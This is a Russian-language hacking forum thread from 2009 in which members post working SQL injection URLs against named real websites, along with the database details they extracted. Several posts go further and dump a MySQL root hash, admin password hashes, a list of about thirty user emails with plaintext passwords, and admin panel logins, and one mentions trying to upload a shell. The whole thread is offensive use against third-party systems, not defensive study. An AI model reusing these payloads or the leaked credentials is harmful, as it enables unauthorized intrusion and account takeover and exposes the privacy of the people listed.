SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.ces.fau.edu PR 6
    Code:
    http://www.ces.fau.edu/sfrsf/detail.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
    database version - 5.0.51a-3ubuntu5.4
    database name - test
    user name - sfrsf@localhost
     
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.coinfo.cefetpb.edu.br/cursos.php?id=1+and+substring(version(),1,1)=5--

    ##########################################
    http://www.unissa.edu.br/website/cursosPosGraduacaoView.php?id=-1+union+select+1,concat_Ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12--

    unissa@localhost:unissa:4.0.15-log
     
    _________________________
    #9662 HAXTA4OK, 7 Jun 2009
    Last edited: 7 Jun 2009
  3. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.ucluj.tv/index.php?VideoID=-612+UNION+SELECT+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8

    Database Version: 5.0.81-community-log
    Database name: uclujtv_db
    User name: uclujtv_user@localhost
    Os : pc-linux-gnu
     
  4. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://doska.alvisp.ru/details.php?id=-1011339+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,user(),database(),version()),13,14,15,16,17,18,19+from+mysql.user--

    http://doska.alvisp.ru/details.php?id=-1011339+union+select+1,2,3,4,5,6,7,8,9,10,11,file_priv,13,14,15,16,17,18,19+from+mysql.user--
    Y
     
    _________________________
    1 person likes this.
  5. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.eurotrucks.ro/stoc-camioane-noi.php?TruckCategoryID=6/**/AND/**/SUBSTRING((version),1,1)=x&Action=SetTruckCategoryFilter


    Version :5.0.81-community-log
    Database : eurotruc_db
    User : eurotruc_dbuser@localhost
    Os : pc-linux-gnu



    http://www.universitateacluj.ro/poze.php?AlbumID=3+AND+SUBSTRING((version()),1,1)=x&pagina=5&subPagina=20

    Version : 5.0.81-community-log
    Database : universi_db
    User : universi_mircea@localhost
    Os : pc-linux-gnu
     
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.ndelo.ru/one_stat.php?id=838+and+substring(version(),1,1)=4--



    http://sibkray.ru/vn/index.php?id=-97473+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

    sibkray_site@localhost:sibkray_site:5.0.45

    tables:
     
    _________________________
    #9666 HAXTA4OK, 7 Jun 2009
    Last edited: 7 Jun 2009
  7. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.infopolitic.ro/index.php?page=stire&id_categorie=5&id=-10984+UNION+SELECT+1,2,unhex(hex(concat_ws(0x3a,version(),database(),user(),@@version_compile_os))),4,5,6,7,8,9/*


    Database Version: 4.1.11-Debian_4sarge7-log
    Database name: infopolitic
    User name: infopolitic@localhost
    Os : pc-linux-gnu
     
  8. TreV@N

    TreV@N Elder - Старейшина

    Joined:
    14 Jul 2008
    Messages:
    135
    Likes Received:
    48
    Reputations:
    19
    http://www.beliefproductions.org/

    Database Version: 5.0.45-community-nt
    Database name: network_shared
    User name: anubis@localhost


    ==================================================

    http://vegasfasteners.com/

    Database Version: 5.0.67
    Database name: vegasfast_snews
    User name: vegasfast_snews@localhost


    ==================================================

    http://www.steameconomies.com/

    Database Version: 4.1.22
    Database name: steameco_cms
    User name: steameco_cms@localhost


    ==================================================

    http://www.stroykirpich.ru/

    Database Version: 5.0.67
    Database name: zloi-alex_kirpich
    User name: zloi-alex@localhost


    ==================================================

    http://www.usbufa.ru/

    Database Version: 5.0.67
    Database name: alcomsoftru_ftsr
    User name: [email protected]


    ==================================================

    http://www.havana.co.nz/

    Database Version: 5.0.67-log
    Database name: havana
    User name: [email protected]
     
    1 person likes this.
  9. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://uralstroyinfo.ru/?id=56&cat=3+and+substring(version(),1,1)=5
    тиц 600, pr 4

    -------

    http://www.mosoblmedia.ru/cgi-bin/show.pl?gid=-26+union+select+1,2,concat_Ws(0x3a,version(),user(),database()),4,5,6,7/*

    4.0.27:root@zvm8:temp_db

    http://www.mosoblmedia.ru/cgi-bin/show.pl?gid=-26+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7+from+mysql.user+limit+0,1/*

    root:44fde13c2e079229

    -------

    PR 5

    http://goszakupki.avo.ru/tender.php?tender=12152+and+substring(version(),1,1)=5
     
    #9669 AlexSatter, 7 Jun 2009
    Last edited: 7 Jun 2009
  10. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    PR 5 TIC 0

    Database Version: 5.0.45-log
    Database name: socialcap1
    User name: [email protected]



    Админка - http://www.social-capital.net/admin/

    Часть админки запоролена - в БД пароля не нашел. Загрузить шелл не получилось т.к. скипт жестко все фильтрует, НО у меня даже не получилось загрузить Jpg... только папки можно создавать и редактировать тексты на сайте.
     
    1 person likes this.
  11. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://www.skolcompany.com/?issue_id=101+and+substring(version(),1,1)=5
    ----------
    http://www.uazsp.ru/catalog.php?producer_id=1+and+substring(version(),1,1)=4
    ----------

    PR 3, ТИЦ 50
    http://www.triolcorp.com/index.php?id=-96+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),17,18,19,20,21,22,23,24,25

    Database Version: 5.0.51a
    Database name: triolcorp
    User name: triolcorp@localhost



    Code:
    Database [triolcorp]
        Table [triol_catalog  ( Rows)]
            id
            cat_left
            cat_right
            cat_level
            parent
            posic
            topmenu
            title
            title_ua
            header
            header_ua
            header_top
            header_top_en
            meta_description
            meta_keywords
            page_text
            page_text_ua
            language
            editable
            module
            link
            template
            auth
            leftmenu
            show_eng
        Table [triol_news  ( Rows)]
            id
            date
            short
            short_ua
            full
            full_ua
            name
        Table [triol_users  ( Rows)]
            id
            fio
            email
            login
            pass
            organiz
            dolgnost
            contacts
            telephon
            sayt
            pogelanie
            opyt
            source
            zakaz
            info
            status
    
            tag_content
            tag_content_en
            editable_text
            page_text
            page_text_en
    Пользователи: id:email:login:pass
    Code:
    [0]:9:[email protected]:alena:tata
    [1]:12:[email protected]:kurmaev13:kurmaev13
    [2]:11:[email protected]:cementplant:haider
    [3]:13:[email protected]:avaplus:maslen
    [4]:14:[email protected]:Alifoleg:05061956
    [5]:15:[email protected]:silver-rtf:lisrw1979
    [6]:16:[email protected]:swn:2039
    [7]:17:[email protected]:oooema:347077
    [8]:18:[email protected]:AMalyshev1986:1234sasha
    [9]:19:[email protected]:elena:proect
    [10]:20:[email protected]:V_i_t_a_x_a:786998
    [11]:21:[email protected]:amigo67:141104
    [12]:22:[email protected]:Sherzod:triol
    [13]:23:[email protected]:Sherzod:triol
    [14]:24:[email protected]:prodiys55:2337693819
    [15]:25:[email protected]:pkf23:230797
    [16]:26:[email protected]:Sayat:6669
    [17]:27:[email protected]:$$V:abkmrf
    [18]:28:[email protected]:maximaptechkin:jrcfyf
    [19]:29:[email protected]:Алексей Михайлович:klever
    [20]:30:[email protected]:nKjlrzLeS:WqlMkahKDPNpVD
    [21]:31:[email protected]:WePqpoLEmLOzzgEzj:ifxMQVeATfFcuMNi
    [22]:32:[email protected]:Thajlander:fXcflPF497
    [23]:33:[email protected]:DevochkaX:gVKBKIc561
    [24]:34:[email protected]:gamozda:kislota276080
    [25]:35:[email protected]:kojin:7793
    [26]:36:[email protected]:oskar:energo
    [27]:37:[email protected]:EKolodych:123654
    [28]:38:[email protected]:vovkmix:36127380
    [29]:39:[email protected]:sslonn:123123123
    [30]:40:[email protected]:student:neyasut
     
    1 person likes this.
  12. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://www.vidatec.ru/?page=-3+UNION+SELECT+1,2,3,4,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),6,7,8,9,10,11,12

    Database Version: 4.1.22
    Database name: alpro
    User name: alpro@localhost


    таблицы, которые удалось найти:
    catalog
    groups
    orders
    partners


    -------

    http://www.monopolia-rti.ru/index.php?grid=12)+and+(substring(version(),1,1)=5
     
    1 person likes this.
  13. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    PR 5

    Database Version: 5.0.45-log
    Database name: icp_texts
    User name: [email protected]

    админка сломана( - Http://pogonowski.com/admin

    Login -user1
    Password - 123
     
    1 person likes this.
  14. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    ТИЦ 240
    http://www.sibmech.ru/import.php?title=-57+union+select+concat_ws(0x3a,version(),user(),database())

    вывод в title
    4.1.22-log:[email protected]:sibmech_db
    удалось найти таблицу users

    содержимое таблицы users ввиде: id:login:password


    Code:
    1:admin:36696630cfdec3fa4702cc6c5d6d574a
    5:dub14:eda4e674e1e13f224704f4b481a0ccf3
    7:test:449bca0569d57b807c0567694640293a
    8:denis:eda4e674e1e13f224704f4b481a0ccf3
    9:user:b7ee47e9cc42e0d00bdf6dbb4f702d8a

    Админка: http://www.sibmech.ru/admin/
     
  15. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 4]
    126 полей 0_0
    Code:
    http://www.super55.com/word.php?id=-6467+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),database(),user()),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126
    5.0.67-msl-icd1-log:super55_szotar:super55@localhost

    [PR 2]
    Code:
    http://centralboys.thsll.org/rep.php?id=-9+union+select+1,2,concat_ws(0x2a,version(),database(),user()),4&rep=2009_rep
    5.0.27:centralboys:tlax@localhost
     
  16. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    Database Version: 4.1.15-standard
    Database name: ivo
    User name: webivo@localhost
     
    1 person likes this.
  17. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 5]
    Code:
    http://www.basementsystems.com/testimonials/view.php?id=-1472+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14
    4.1.22-log:basementsystems:root@localhost

    [PR 4]
    Code:
    http://www.guidedways.com/mobile/purchase.php?id=-24+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10--&affcode=gw&ref=qfrm
    5.0.81-community-log:fahagi3_truth:fahagi3_data@localhost

    [PR 1]
    Code:
    http://www.clickoff.ru/purchase.php?id=-5+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12
    4.1.22-standard:hyperco_clickoff:hyperco_admin@localhost

    [PR 0]
    Code:
    http://www.sparrowscripts.com/purchase.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user())
    5.0.67-community:axelance_root:axelance_root@localhost
     
    2 people like this.
  18. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Интернет магзин книг>>
    Code:
    http://www.cocos.com.ua/?wiev_t=-3371+union+select+1,concat_ws(0x3a2a3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,0,1,2,3,4--+
    4.1.22-standard-log:*:cocosco_bdutfcocosco:*:cocosco_adm@localhost:*:unknown-linux-gnu

    Админка
    Code:
    http://www.cocos.com.ua/serv/
     
    1 person likes this.
  19. Kimliksiz

    Kimliksiz Member

    Joined:
    7 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    11
    http://www.ahtopolbg.com/index.php?option=com_mosres&task=showregion&regID=4%27+and+1=2+union%20select%201,concat(username,0x3a,password)+from+jos_users/*&lang=bg

    nitAdmin:acdee303eabfd82b1233004b17468c0f
     
    1 person likes this.
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.fereastra.ro/stiri/stire.php?code=-3446+UNION+SELECT+1,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),3,4,5


    Database Version: 4.1.22-standard-log
    Database name: frstr_fereastra
    User name: frstr_admin@localhost
    Os : pc-linux-gnu
     
    #9680 Gorev, 7 Jun 2009
    Last edited: 7 Jun 2009
    2 people like this.
Thread Status:
Not open for further replies.